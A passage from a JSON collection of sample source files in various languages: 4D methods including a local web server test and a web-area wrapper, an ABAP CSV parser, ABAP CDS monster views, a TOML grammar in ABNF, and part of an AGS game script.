c_azergirl       evmap_azer     \n84  \"Azer, Male\"                                   c_azerman        evmap_azer     \n85  \"Druegar, Cleric\"                              c_yDurgCleric    default        \n86  \"Druegar, Fighter\"                             c_yDurgFight     default        \n87  \"Duergar, Chief\"                               c_yduechf        default        \n88  \"Duergar, Slave\"                               c_ydueslv        default        \n89  \"Dwarf, NPC, Female\"                           c_yNPC_d_f01     default        \n90  \"Dwarf, NPC, Male\"                             c_yNPC_d_m01     default        \n91  \"Svirf, Female\"                                c_ysvirfgirl     default        \n92  \"Svirf, Male\"                                  c_ysvirfman      default        \n93  \"Drow, Matron\"                                 c_drowmat        default        \n94  \"Drow, Cleric\"                                 c_yDroCleric     default        \n95  \"Drow, Female, 1\"                              c_ydrofem1       default        \n96  \"Drow, Female, 2\"                              c_ydrofem2       default        \n"
  },
  {
    "path": "samples/4D/generate_project.4dm",
    "content": "//%attributes = {}\n$params:=New object:C1471\n$params.PRODUCT_NAME:=\"strophe\"\n$params.PRODUCT_VERSION:=\"1.0\"\n$params.AUTHOR:=\"miyako\"\n$params.CREATE_DATE:=Current date:C33\n$params.COPYRIGHT_YEAR:=Year of:C25(Current date:C33)\n\ngenerate_project_source ($params)\ngenerate_project_vs ($params)\ngenerate_project_xcode ($params)\ngenerate_project_plugin_stub ($params)"
  },
  {
    "path": "samples/4D/play_with_classes.4dm",
    "content": "//%attributes = {}\n  // ----------------------------------------------------\n  // Project method : object\n  // ID[5543995AC5E24988A39E024B39541A8F]\n  // Created 13-9-2019 by Vincent de Lachaux\n  // ----------------------------------------------------\n  // Description:\n  //\n  // ----------------------------------------------------\n  // Declarations\nC_OBJECT:C1216($0)\nC_TEXT:C284($1)\nC_TEXT:C284($2)\n\nC_TEXT:C284($t)\nC_OBJECT:C1216($o)\nC_COLLECTION:C1488($c)\n\nIf (False:C215)\n\tC_OBJECT:C1216(class ;$0)\n\tC_TEXT:C284(class ;$1)\n\tC_TEXT:C284(class ;$2)\nEnd if \n\n  // ----------------------------------------------------\nIf (This:C1470[\"\"]=Null:C1517)  // Constructor\n\t\n\tIf (Count parameters:C259>=1)\n\t\t\n\t\t$t:=String:C10($1)\n\t\t\n\t\tIf (Count parameters:C259>=2)\n\t\t\t\n\t\t\t  // With parameter\n\t\t\t$o:=Formula from string:C1601($t+\"(\\\"\"+String:C10($2)+\"\\\")\").call()\n\t\t\t\n\t\tElse \n\t\t\t\n\t\t\t$o:=Formula from string:C1601($t).call()\n\t\t\t\n\t\tEnd if \n\t\t\n\t\t$o.constructor:=Formula:C1597(class (\"constructor\"))\n\t\t\n\tEnd if \n\t\nElse \n\t\n\tCase of \n\t\t\t\n\t\t\t  //______________________________________________________\n\t\t: ($1=\"constructor\")  // Returns collection of properties and functions\n\t\t\t\n\t\t\t$o:=New object:C1471(\\\n\t\t\t\t\"properties\";New collection:C1472;\\\n\t\t\t\t\"functions\";New collection:C1472;\\\n\t\t\t\t\"fomulas\";New collection:C1472)\n\t\t\t\n\t\t\t$c:=New collection:C1472\n\t\t\t\n\t\t\tFor each ($t;This:C1470)\n\t\t\t\t\n\t\t\t\t$c.push($t)\n\t\t\t\t\n\t\t\tEnd for each \n\t\t\t\n\t\t\t$c:=$c.orderBy(ck ascending:K85:9)\n\t\t\t\n\t\t\tFor each ($t;$c)\n\t\t\t\t\n\t\t\t\tCase of \n\t\t\t\t\t\t\n\t\t\t\t\t\t  //______________________________________________________\n\t\t\t\t\t: ($t=$1)\n\t\t\t\t\t\t\n\t\t\t\t\t\t  //______________________________________________________\n\t\t\t\t\t: (Value type:C1509(This:C1470[$t])=Is object:K8:27)\n\t\t\t\t\t\t\n\t\t\t\t\t\t  //If (JSON Stringify(This[$t])=\"\\\"[object Formula]\\\"\")\n\t\t\t\t\t\tIf (This:C1470[$t].source#Null:C1517)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$o.functions.push($t)\n\t\t\t\t\t\t\t$o.fomulas.push(This:C1470[$t].source)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tElse \n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$o.properties.push($t)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tEnd if \n\t\t\t\t\t\t\n\t\t\t\t\t\t  //______________________________________________________\n\t\t\t\t\tElse \n\t\t\t\t\t\t\n\t\t\t\t\t\t$o.properties.push($t)\n\t\t\t\t\t\t\n\t\t\t\t\t\t  //______________________________________________________\n\t\t\t\tEnd case \n\t\t\tEnd for each \n\t\t\t\n\t\t\t$o.functions:=$o.functions.orderBy(ck ascending:K85:9)\n\t\t\t$o.properties:=$o.properties.orderBy(ck ascending:K85:9)\n\t\t\t\n\t\t\t  //________________________________________\n\t\t: (This:C1470=Null:C1517)\n\t\t\t\n\t\t\tASSERT:C1129(False:C215;\"OOPS, this method must be called from a member method\")\n\t\t\t\n\t\t\t  //______________________________________________________\n\t\tElse \n\t\t\t\n\t\t\t$o:=This:C1470[$1].call()\n\t\t\t\n\t\t\t  //______________________________________________________\n\tEnd case \nEnd if \n\n  // ----------------------------------------------------\n  // Return\n$0:=$o\n  // ----------------------------------------------------\n  // End"
  },
  {
    "path": "samples/4D/test_webServerStart.4dm",
    "content": "//%attributes = {\"preemptive\":\"capable\"}\nC_OBJECT:C1216($webObject)\n$webObject:=WEB server:C1674(2)  //host db webServer\n\n  //some initiatialisation\nclear_files \n\n\nC_OBJECT:C1216($settings)\nC_OBJECT:C1216($result)\nC_OBJECT:C1216($path;$newIndex)\nC_TEXT:C284($response)\n$settings:=New object:C1471\n$settings.rootFolder:=Folder:C1567(fk web root folder:K87:15).parent.folder(\"WebFolder2\").platformPath\n$settings.certificateFolder:=Folder:C1567(fk database folder:K87:14).folder(\"certificate\").platformPath\n$settings.HTTPEnabled:=True:C214\n$settings.HTTPPort:=8888\n$settings.HTTPSEnabled:=True:C214\n$settings.HTTPSPort:=4443\n$settings.defaultHomepage:=\"index2.html\"\n\n$result:=$webObject.start($settings)\n\nASSERT:C1129($result#Null:C1517;\"result should not be null\")\nASSERT:C1129($result.success=True:C214;\"result must contain a 'success' attribute and must be true\")\nASSERT:C1129($webObject.isRunning=True:C214;\"web server 'isRunning' should be true\")\n\n  //test HTTP\n$statusCode:=HTTP Get:C1157(\"http://localhost:8888\";$response)\n\nASSERT:C1129($statusCode=200;\"Web Server not started\")\n\n$path:=Folder:C1567($settings.rootFolder;fk platform path:K87:2).file(\"index2.html\")\n$newIndex:=File:C1566($path.platformPath;fk platform path:K87:2)\n\nASSERT:C1129($response=$newIndex.getText();\"unexpected index page content\")\n\n\n$statusCode:=HTTP Get:C1157(\"https://localhost:4443\";$response)\n\nASSERT:C1129($statusCode=200;\"Web Server not started\")\n\n$webObject.stop()\n\n\n\n\n"
  },
  {
    "path": "samples/4D/webArea.4dm",
    "content": "//%attributes = {\"invisible\":true}\n  // ----------------------------------------------------\n  // Project method : webArea\n  // ID[400C94A87A6E4C049664710A5F9E71F9]\n  // Created 10-1-2020 by Vincent de Lachaux\n  // ----------------------------------------------------\n  // Description:\n  //\n  // ----------------------------------------------------\n  // Declarations\nC_OBJECT:C1216($0)\nC_TEXT:C284($1)\nC_OBJECT:C1216($2)\n\nC_TEXT:C284($t)\nC_OBJECT:C1216($o)\n\nIf (False:C215)\n\tC_OBJECT:C1216(webArea ;$0)\n\tC_TEXT:C284(webArea ;$1)\n\tC_OBJECT:C1216(webArea ;$2)\nEnd if \n\n  // ----------------------------------------------------\nIf (This:C1470[\"\"]=Null:C1517)  // Constructor\n\t\n\tIf (Count parameters:C259>=1)\n\t\t\n\t\t$t:=String:C10($1)\n\t\t\n\tEnd if \n\t\n\t$o:=New object:C1471(\\\n\t\t\"\";\"webArea\";\\\n\t\t\"name\";$t;\\\n\t\t\"url\";\"\";\\\n\t\t\"coordinates\";Null:C1517;\\\n\t\t\"windowCoordinates\";Null:C1517;\\\n\t\t\"getCoordinates\";Formula:C1597(widget (\"getCoordinates\"));\\\n\t\t\"hide\";Formula:C1597(OBJECT SET VISIBLE:C603(*;This:C1470.name;False:C215));\\\n\t\t\"moveHorizontally\";Formula:C1597(widget (\"setCoordinates\";New object:C1471(\"left\";$1)));\\\n\t\t\"moveVertically\";Formula:C1597(widget (\"setCoordinates\";New object:C1471(\"top\";$1)));\\\n\t\t\"resizeHorizontally\";Formula:C1597(widget (\"setCoordinates\";New object:C1471(\"right\";$1)));\\\n\t\t\"resizeVertically\";Formula:C1597(widget (\"setCoordinates\";New object:C1471(\"bottom\";$1)));\\\n\t\t\"setVisible\";Formula:C1597(OBJECT SET VISIBLE:C603(*;This:C1470.name;Bool:C1537($1)));\\\n\t\t\"show\";Formula:C1597(OBJECT SET VISIBLE:C603(*;This:C1470.name;True:C214));\\\n\t\t\"visible\";Formula:C1597(OBJECT Get visible:C1075(*;This:C1470.name));\\\n\t\t\"back\";Formula:C1597(WA OPEN BACK URL:C1021(*;This:C1470.name));\\\n\t\t\"content\";Formula:C1597(WA Get page content:C1038(*;This:C1470.name));\\\n\t\t\"forward\";Formula:C1597(WA OPEN FORWARD URL:C1022(*;This:C1470.name));\\\n\t\t\"init\";Formula:C1597(webArea (\"init\"));\\\n\t\t\"isLoaded\";Formula:C1597(WA Get current URL:C1025(*;This:C1470.name)=This:C1470.url);\\\n\t\t\"lastFiltered\";Formula:C1597(WA Get last filtered URL:C1035(*;This:C1470.name));\\\n\t\t\"openURL\";Formula:C1597(webArea (\"openURL\";New object:C1471(\"url\";$1)));\\\n\t\t\"refresh\";Formula:C1597(webArea (\"openURL\";New object:C1471(\"url\";$1)));\\\n\t\t\"setContent\";Formula:C1597(webArea (\"setContent\";New object:C1471(\"content\";String:C10($1);\"base\";$2)));\\\n\t\t\"title\";Formula:C1597(WA Get page title:C1036(*;This:C1470.name))\\\n\t\t)\n\t\n\tIf (Is Windows:C1573)\n\t\t\n\t\t$o.openURL()  // previously load about:blank\n\t\t\n\tEnd if \n\t\nElse \n\t\n\t$o:=This:C1470\n\t\n\tCase of \n\t\t\t\n\t\t\t  //______________________________________________________\n\t\t: ($o=Null:C1517)\n\t\t\t\n\t\t\tASSERT:C1129(False:C215;\"OOPS, this method must be called from a member method\")\n\t\t\t\n\t\t\t  //______________________________________________________\n\t\t: ($1=\"init\")\n\t\t\t\n\t\t\tARRAY TEXT:C222($tTxt_filters;0x0000)\n\t\t\tARRAY BOOLEAN:C223($tBoo_allow;0x0000)\n\t\t\t\n\t\t\t  // All are forbidden\n\t\t\tAPPEND TO ARRAY:C911($tTxt_filters;\"*\")  // All\n\t\t\tAPPEND TO ARRAY:C911($tBoo_allow;False:C215)  // Forbidden\n\t\t\t\n\t\t\t  // Allow WA SET PAGE CONTENT\n\t\t\tAPPEND TO ARRAY:C911($tTxt_filters;\"file*\")\n\t\t\tAPPEND TO ARRAY:C911($tBoo_allow;True:C214)  // to allow including HTML files\n\t\t\t\n\t\t\tWA SET URL FILTERS:C1030(*;$o.name;$tTxt_filters;$tBoo_allow)\n\t\t\t\n\t\t\tWA SET PREFERENCE:C1041(*;$o.name;WA enable Java applets:K62:3;False:C215)\n\t\t\tWA SET PREFERENCE:C1041(*;$o.name;WA enable JavaScript:K62:4;True:C214)\n\t\t\tWA SET PREFERENCE:C1041(*;$o.name;WA enable plugins:K62:5;False:C215)  //\n\t\t\t\n\t\t\t  // Active the contextual menu in debug mode\n\t\t\tWA SET PREFERENCE:C1041(*;$o.name;WA enable contextual menu:K62:6;Not:C34(Is compiled mode:C492) | (Structure file:C489=Structure file:C489(*)))\n\t\t\tWA SET PREFERENCE:C1041(*;$o.name;WA enable Web inspector:K62:7;True:C214)\n\t\t\t\n\t\t\t  //______________________________________________________\n\t\t: ($1=\"openURL\")\n\t\t\t\n\t\t\tIf (Value type:C1509($2.url)=Is object:K8:27)  // File\n\t\t\t\t\n\t\t\t\t$t:=\"file:///\"+$2.url.path\n\t\t\t\t\n\t\t\tElse \n\t\t\t\t\n\t\t\t\t$t:=String:C10($2.url)\n\t\t\t\t\n\t\t\tEnd if \n\t\t\t\n\t\t\tCase of \n\t\t\t\t\t\n\t\t\t\t\t  //……………………………………………………………………………………………………\n\t\t\t\t: (Length:C16($t)=0)\n\t\t\t\t\t\n\t\t\t\t\t$t:=\"about:blank\"\n\t\t\t\t\t\n\t\t\t\t\t  //……………………………………………………………………………………………………\n\t\t\t\t: ($t=\"internal\")  // Current database server\n\t\t\t\t\t\n\t\t\t\t\t$t:=\"127.0.0.1:\"+String:C10(WEB Get server info:C1531.options.webPortID)\n\t\t\t\t\t\n\t\t\t\t\t  //……………………………………………………………………………………………………\n\t\t\t\t: ($t=\"localhost\")\\\n\t\t\t\t\t & Is macOS:C1572  //#TURN_AROUND - In some cases, using \"localhost\" we get the error -30 \"Server unreachable\"\n\t\t\t\t\t\n\t\t\t\t\t$t:=\"127.0.0.1\"\n\t\t\t\t\t\n\t\t\t\t\t  //……………………………………………………………………………………………………\n\t\t\tEnd case \n\t\t\t\n\t\t\t$o.url:=$t\n\t\t\t\n\t\t\tWA OPEN URL:C1020(*;$o.name;$o.url)\n\t\t\t\n\t\t\t  //______________________________________________________\n\t\t: ($1=\"setContent\")\n\t\t\t\n\t\t\tWA SET PAGE CONTENT:C1037(*;$o.name;$2.content;Choose:C955($2.base=Null:C1517;\"/\";String:C10($2.base)))\n\t\t\t\n\t\t\t  //______________________________________________________\n\t\tElse \n\t\t\t\n\t\t\tASSERT:C1129(False:C215;\"Unknown entry point: \\\"\"+$1+\"\\\"\")\n\t\t\t\n\t\t\t  //______________________________________________________\n\tEnd case \nEnd if \n\n  // ----------------------------------------------------\n  // Return\n$0:=$o\n\n  // ----------------------------------------------------\n  // End"
  },
  {
    "path": "samples/ABAP/cl_csv_parser.abap",
    "content": "*/**\n* The MIT License (MIT)\n* Copyright (c) 2012 René van Mil\n* \n* Permission is hereby granted, free of charge, to any person obtaining\n* a copy of this software and associated documentation files (the\n* \"Software\"), to deal in the Software without restriction, including\n* without limitation the rights to use, copy, modify, merge, publish,\n* distribute, sublicense, and/or sell copies of the Software, and to\n* permit persons to whom the Software is furnished to do so, subject to\n* the following conditions:\n* \n* The above copyright notice and this permission notice shall be\n* included in all copies or substantial portions of the Software.\n* \n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*/\n\n*----------------------------------------------------------------------*\n*       CLASS CL_CSV_PARSER DEFINITION\n*----------------------------------------------------------------------*\n*\n*----------------------------------------------------------------------*\nclass cl_csv_parser definition\n  public\n  inheriting from cl_object\n  final\n  create public .\n\n  public section.\n*\"* public components of class CL_CSV_PARSER\n*\"* do not include other source files here!!!\n\n    type-pools abap .\n    methods constructor\n      importing\n        !delegate type ref to if_csv_parser_delegate\n        !csvstring type string\n        !separator type c\n        !skip_first_line type abap_bool .\n    methods parse\n      raising\n        cx_csv_parse_error .\n  protected section.\n*\"* protected components of class CL_CSV_PARSER\n*\"* do not include other source files here!!!\n  private section.\n*\"* private components of class CL_CSV_PARSER\n*\"* do not include other source files here!!!\n\n    constants _textindicator type c value '\"'.              \"#EC NOTEXT\n    data _delegate type ref to if_csv_parser_delegate .\n    data _csvstring type string .\n    data _separator type c .\n    type-pools abap .\n    data _skip_first_line type abap_bool .\n\n    methods _lines\n      returning\n        value(returning) type stringtab .\n    methods _parse_line\n      importing\n        !line type string\n      returning\n        value(returning) type stringtab\n      raising\n        cx_csv_parse_error .\nendclass.                    \"CL_CSV_PARSER DEFINITION\n\n\n\n*----------------------------------------------------------------------*\n*       CLASS CL_CSV_PARSER IMPLEMENTATION\n*----------------------------------------------------------------------*\n*\n*----------------------------------------------------------------------*\nclass cl_csv_parser implementation.\n\n\n* <SIGNATURE>---------------------------------------------------------------------------------------+\n* | Instance Public Method CL_CSV_PARSER->CONSTRUCTOR\n* +-------------------------------------------------------------------------------------------------+\n* | [--->] DELEGATE                       TYPE REF TO IF_CSV_PARSER_DELEGATE\n* | [--->] CSVSTRING                      TYPE        STRING\n* | [--->] SEPARATOR                      TYPE        C\n* | [--->] SKIP_FIRST_LINE                TYPE        ABAP_BOOL\n* +--------------------------------------------------------------------------------------</SIGNATURE>\n  method constructor.\n    super->constructor( ).\n    _delegate = delegate.\n    _csvstring = csvstring.\n    _separator = separator.\n    _skip_first_line = skip_first_line.\n  endmethod.                    \"constructor\n\n\n* <SIGNATURE>---------------------------------------------------------------------------------------+\n* | Instance Public Method CL_CSV_PARSER->PARSE\n* +-------------------------------------------------------------------------------------------------+\n* | [!CX!] CX_CSV_PARSE_ERROR\n* +--------------------------------------------------------------------------------------</SIGNATURE>\n  method parse.\n    data msg type string.\n    if _csvstring is initial.\n      message e002(csv) into msg.\n      raise exception type cx_csv_parse_error\n        exporting\n          message = msg.\n    endif.\n\n    \" Get the lines\n    data is_first_line type abap_bool value abap_true.\n    data lines type standard table of string.\n    lines = _lines( ).\n    field-symbols <line> type string.\n    loop at lines assigning <line>.\n      \" Should we skip the first line?\n      if _skip_first_line = abap_true and is_first_line = abap_true.\n        is_first_line = abap_false.\n        continue.\n      endif.\n      \" Parse the line\n      data values type standard table of string.\n      values = _parse_line( <line> ).\n      \" Send values to delegate\n      _delegate->values_found( values ).\n    endloop.\n  endmethod.                    \"parse\n\n\n* <SIGNATURE>---------------------------------------------------------------------------------------+\n* | Instance Private Method CL_CSV_PARSER->_LINES\n* +-------------------------------------------------------------------------------------------------+\n* | [<-()] RETURNING                      TYPE        STRINGTAB\n* +--------------------------------------------------------------------------------------</SIGNATURE>\n  method _lines.\n    split _csvstring at cl_abap_char_utilities=>cr_lf into table returning.\n  endmethod.                    \"_lines\n\n\n* <SIGNATURE>---------------------------------------------------------------------------------------+\n* | Instance Private Method CL_CSV_PARSER->_PARSE_LINE\n* +-------------------------------------------------------------------------------------------------+\n* | [--->] LINE                           TYPE        STRING\n* | [<-()] RETURNING                      TYPE        STRINGTAB\n* | [!CX!] CX_CSV_PARSE_ERROR\n* +--------------------------------------------------------------------------------------</SIGNATURE>\n  method _parse_line.\n    data msg type string.\n\n    data csvvalue type string.\n    data csvvalues type standard table of string.\n\n    data char type c.\n    data pos type i value 0.\n    data len type i.\n    len = strlen( line ).\n    while pos < len.\n      char = line+pos(1).\n      if char <> _separator.\n        if char = _textindicator.\n          data text_ended type abap_bool.\n          text_ended = abap_false.\n          while text_ended = abap_false.\n            pos = pos + 1.\n            if pos < len.\n              char = line+pos(1).\n              if char = _textindicator.\n                text_ended = abap_true.\n              else.\n                if char is initial. \" Space\n                  concatenate csvvalue ` ` into csvvalue.\n                else.\n                  concatenate csvvalue char into csvvalue.\n                endif.\n              endif.\n            else.\n              \" Reached the end of the line while inside a text value\n              \" This indicates an error in the CSV formatting\n              text_ended = abap_true.\n              message e003(csv) into msg.\n              raise exception type cx_csv_parse_error\n                exporting\n                  message = msg.\n            endif.\n          endwhile.\n          \" Check if next character is a separator, otherwise the CSV formatting is incorrect\n          data nextpos type i.\n          nextpos = pos + 1.\n          if nextpos < len and line+nextpos(1) <> _separator.\n            message e003(csv) into msg.\n            raise exception type cx_csv_parse_error\n              exporting\n                message = msg.\n          endif.\n        else.\n          if char is initial. \" Space\n            concatenate csvvalue ` ` into csvvalue.\n          else.\n            concatenate csvvalue char into csvvalue.\n          endif.\n        endif.\n      else.\n        append csvvalue to csvvalues.\n        clear csvvalue.\n      endif.\n      pos = pos + 1.\n    endwhile.\n    append csvvalue to csvvalues. \" Don't forget the last value\n\n    returning = csvvalues.\n  endmethod.                    \"_parse_line\nendclass.                    \"CL_CSV_PARSER IMPLEMENTATION"
  },
  {
    "path": "samples/ABAP CDS/zcds_monsters_association.ddls.asddls",
    "content": "@AbapCatalog.sqlViewName: 'ZV_MONSTERS_ASS'\n@AbapCatalog.compiler.compareFilter: true\n@AbapCatalog.preserveKey: true\n@AccessControl.authorizationCheck: #CHECK\n@EndUserText.label: 'Monster CDS View with Association'\n// Listing 07.30 : Coding CDS Views using Association\ndefine view Zcds_Monsters_Association\n  as select from ztmonster_header as monster\n  association [0..*] to ztmonster_pets as _Pet on monster.monster_number = _Pet.owner\n{\n  key monster.monster_number as MonsterNumber,\n  key _Pet.pet_number        as PetNumber,\n      _Pet.owner             as Owner,\n      monster.name           as OwnerName,\n      _Pet.pet_name          as Name,\n      _Pet.pet_type          as Type,\n      _Pet.pet_species       as Species,\n      _Pet // Make association public\n}\n"
  },
  {
    "path": "samples/ABAP CDS/zcds_monsters_parameters.ddls.asddls",
    "content": "@AbapCatalog.sqlViewName: 'ZV_MONSTERS_PARS'\n@AbapCatalog.compiler.compareFilter: true\n@AccessControl.authorizationCheck: #CHECK\n@EndUserText.label: 'Monster CDS View with Parameters'\n// Listing 07.32 : Defining CDS View with Parameters\ndefine view Zcds_Monsters_Parameters\n  with parameters\n    p_sanity_low  : zde_monster_sanity,\n    p_sanity_high : zde_monster_sanity,\n    p_color       : zde_monster_color\n  as select from ztmonster_header as monster\n{\n  key monster.monster_number    as MonsterNumber,\n      monster.name              as name,\n      monster.color             as color,\n      monster.sanity_percentage as sanity,\n      monster.strength          as strength\n}\nwhere\n      monster.color     =       :p_color\n  and sanity_percentage between :p_sanity_low and :p_sanity_high\n"
  },
  {
    "path": "samples/ABNF/toml.abnf",
    "content": "; Source:  https://github.com/toml-lang/toml\n; License: MIT\n\n;; This is an attempt to define TOML in ABNF according to the grammar defined\n;; in RFC 4234 (http://www.ietf.org/rfc/rfc4234.txt).\n\n;; TOML\n\ntoml = expression *( newline expression )\nexpression = (\n  ws /\n  ws comment /\n  ws keyval ws [ comment ] /\n  ws table ws [ comment ]\n)\n\n;; Newline\n\nnewline = (\n  %x0A /              ; LF\n  %x0D.0A             ; CRLF\n)\n\nnewlines = 1*newline\n\n;; Whitespace\n\nws = *(\n  %x20 /              ; Space\n  %x09                ; Horizontal tab\n)\n\n;; Comment\n\ncomment-start-symbol = %x23 ; #\nnon-eol = %x09 / %x20-10FFFF\ncomment = comment-start-symbol *non-eol\n\n;; Key-Value pairs\n\nkeyval-sep = ws %x3D ws ; =\nkeyval = key keyval-sep val\n\nkey = unquoted-key / quoted-key\nunquoted-key = 1*( ALPHA / DIGIT / %x2D / %x5F ) ; A-Z / a-z / 0-9 / - / _\nquoted-key = quotation-mark 1*basic-char quotation-mark ; See Basic Strings\n\nval = integer / float / string / boolean / date-time / array / inline-table\n\n;; Table\n\ntable = std-table / array-table\n\n;; Standard Table\n\nstd-table-open  = %x5B ws     ; [ Left square bracket\nstd-table-close = ws %x5D     ; ] Right square bracket\ntable-key-sep   = ws %x2E ws  ; . Period\n\nstd-table = std-table-open key *( table-key-sep key) std-table-close\n\n;; Array Table\n\narray-table-open  = %x5B.5B ws  ; [[ Double left square bracket\narray-table-close = ws %x5D.5D  ; ]] Double right square bracket\n\narray-table = array-table-open key *( table-key-sep key) array-table-close\n\n;; Integer\n\ninteger = [ minus / plus ] int\nminus = %x2D                       ; -\nplus = %x2B                        ; +\ndigit1-9 = %x31-39                 ; 1-9\nunderscore = %x5F                  ; _\nint = DIGIT / digit1-9 1*( DIGIT / underscore DIGIT )\n\n;; Float\n\nfloat = integer ( frac / frac exp / exp )\nzero-prefixable-int = DIGIT *( DIGIT / underscore DIGIT )\nfrac = decimal-point zero-prefixable-int\ndecimal-point = %x2E               ; .\nexp = e integer\ne = %x65 / %x45                    ; e E\n\n;; String\n\nstring = basic-string / ml-basic-string / literal-string / ml-literal-string\n\n;; Basic String\n\nbasic-string = quotation-mark *basic-char quotation-mark\n\nquotation-mark = %x22            ; \"\n\nbasic-char = basic-unescaped / escaped\nescaped = escape ( %x22 /          ; \"    quotation mark  U+0022\n                   %x5C /          ; \\    reverse solidus U+005C\n                   %x2F /          ; /    solidus         U+002F\n                   %x62 /          ; b    backspace       U+0008\n                   %x66 /          ; f    form feed       U+000C\n                   %x6E /          ; n    line feed       U+000A\n                   %x72 /          ; r    carriage return U+000D\n                   %x74 /          ; t    tab             U+0009\n                   %x75 4HEXDIG /  ; uXXXX                U+XXXX\n                   %x55 8HEXDIG )  ; UXXXXXXXX            U+XXXXXXXX\n\nbasic-unescaped = %x20-21 / %x23-5B / %x5D-10FFFF\n\nescape = %x5C                    ; \\\n\n;; Multiline Basic String\n\nml-basic-string-delim = quotation-mark quotation-mark quotation-mark\nml-basic-string = ml-basic-string-delim ml-basic-body ml-basic-string-delim\nml-basic-body = *( ml-basic-char / newline / ( escape newline ))\n\nml-basic-char = ml-basic-unescaped / escaped\nml-basic-unescaped = %x20-5B / %x5D-10FFFF\n\n;; Literal String\n\nliteral-string = apostraphe *literal-char apostraphe\n\napostraphe = %x27 ; ' Apostrophe\n\nliteral-char = %x09 / %x20-26 / %x28-10FFFF\n\n;; Multiline Literal String\n\nml-literal-string-delim = apostraphe apostraphe apostraphe\nml-literal-string = ml-literal-string-delim ml-literal-body ml-literal-string-delim\n\nml-literal-body = *( ml-literal-char / newline )\nml-literal-char = %x09 / %x20-10FFFF\n\n;; Boolean\n\nboolean = true / false\ntrue    = %x74.72.75.65     ; true\nfalse   = %x66.61.6C.73.65  ; false\n\n;; Datetime (as defined in RFC 3339)\n\ndate-fullyear  = 4DIGIT\ndate-month     = 2DIGIT  ; 01-12\ndate-mday      = 2DIGIT  ; 01-28, 01-29, 01-30, 01-31 based on month/year\ntime-hour      = 2DIGIT  ; 00-23\ntime-minute    = 2DIGIT  ; 00-59\ntime-second    = 2DIGIT  ; 00-58, 00-59, 00-60 based on leap second rules\ntime-secfrac   = \".\" 1*DIGIT\ntime-numoffset = ( \"+\" / \"-\" ) time-hour \":\" time-minute\ntime-offset    = \"Z\" / time-numoffset\n\npartial-time   = time-hour \":\" time-minute \":\" time-second [time-secfrac]\nfull-date      = date-fullyear \"-\" date-month \"-\" date-mday\nfull-time      = partial-time time-offset\n\ndate-time      = full-date \"T\" full-time\n\n;; Array\n\narray-open  = %x5B ws  ; [\narray-close = ws %x5D  ; ]\n\narray = array-open array-values array-close\n\narray-values = [ val [ array-sep ] [ ( comment newlines) / newlines ] /\n                 val array-sep [ ( comment newlines) / newlines ] array-values ]\n\narray-sep = ws %x2C ws  ; , Comma\n\n;; Inline Table\n\ninline-table-open  = %x7B ws     ; {\ninline-table-close = ws %x7D     ; }\ninline-table-sep   = ws %x2C ws  ; , Comma\n\ninline-table = inline-table-open inline-table-keyvals inline-table-close\n\ninline-table-keyvals = [ inline-table-keyvals-non-empty ]\ninline-table-keyvals-non-empty = key keyval-sep val /\n                                 key keyval-sep val inline-table-sep inline-table-keyvals-non-empty\n\n;; Built-in ABNF terms, reproduced here for clarity\n\n; ALPHA = %x41-5A / %x61-7A ; A-Z / a-z\n; DIGIT = %x30-39 ; 0-9\n; HEXDIG = DIGIT / \"A\" / \"B\" / \"C\" / \"D\" / \"E\" / \"F\"\n"
  },
  {
    "path": "samples/AGS Script/GlobalScript.asc",
    "content": "// main global script file\r\n\r\n// A function that initializes a bunch of stuff.\r\nfunction initialize_control_panel() { \r\n  // Centre the control panel\r\n  gPanel.Centre(); \r\n  // Centre the Restart dialog as well\r\n  gRestartYN.Centre(); \r\n  if (!IsSpeechVoxAvailable()) { \r\n    // If there is no speech-vox file, and therefore no speech,\r\n    // disable all the controls related with speech.\r\n    lblVoice.Visible = false;  \r\n    btnVoice.Visible = false;  \r\n    sldVoice.Visible = false;\r\n  }\r\n  else {\r\n    // If there *is*, then set it to voice and text. It's best to use\r\n    // both whenever possible, for the player's sake.\r\n    SetVoiceMode(eSpeechVoiceAndText); \r\n    // And reflect this in the control panel.\r\n    btnVoice.Text = \"Voice and Text\"; \r\n  }\r\n  if (!System.SupportsGammaControl) {\r\n    // If we can't change the gamma settings, disable the relevant options.\r\n    sldGamma.Visible = false; \r\n    lblGamma.Visible = false;\r\n  } \r\n  \r\n  //And now, set all the defaults\r\n  System.Volume = 100;\r\n  sldAudio.Value = System.Volume;\r\n  SetGameSpeed(40);\r\n  sldSpeed.Value = 40;\r\n  if (IsSpeechVoxAvailable()) {\r\n     SetVoiceMode(eSpeechVoiceAndText);\r\n     btnVoice.Text = \"Voice and Text\";\r\n     sldVoice.Value = 255;\r\n     SetSpeechVolume(255);\r\n  }\r\n  if (System.SupportsGammaControl) {\r\n    System.Gamma = 100;\r\n    sldGamma.Value = 100;\r\n  }\r\n}\r\n\r\n// Called when the game starts, before the first room is loaded\r\nfunction game_start() {   \r\n  // Put the code all in a function and then just call the function. \r\n  // It saves cluttering up places like game_start.\r\n  initialize_control_panel(); \r\n  // Use the KeyboardMovement module to, per default, replicate the standard\r\n  // keyboard movement of most Sierra games. See KeyboardMovement.txt for more info\r\n  KeyboardMovement.SetMode(eKeyboardMovement_Tapping); \r\n}\r\n\r\nfunction repeatedly_execute() {\r\n  \r\n  // Put here anything you want to happen every game cycle, even when\r\n  // the game is paused. This will not run when the game is blocked\r\n  // inside a command like a blocking Walk()\r\n  \r\n  if (IsGamePaused() == 1) return;\r\n\r\n  // Put here anything you want to happen every game cycle, but not\r\n  // when the game is paused.\r\n}\r\n\r\nfunction repeatedly_execute_always() {\r\n  \r\n  // Put anything you want to happen every game cycle, even\r\n  // when the game is blocked inside a command like a\r\n  // blocking Walk().\r\n  // You cannot run blocking commands from this function.\r\n  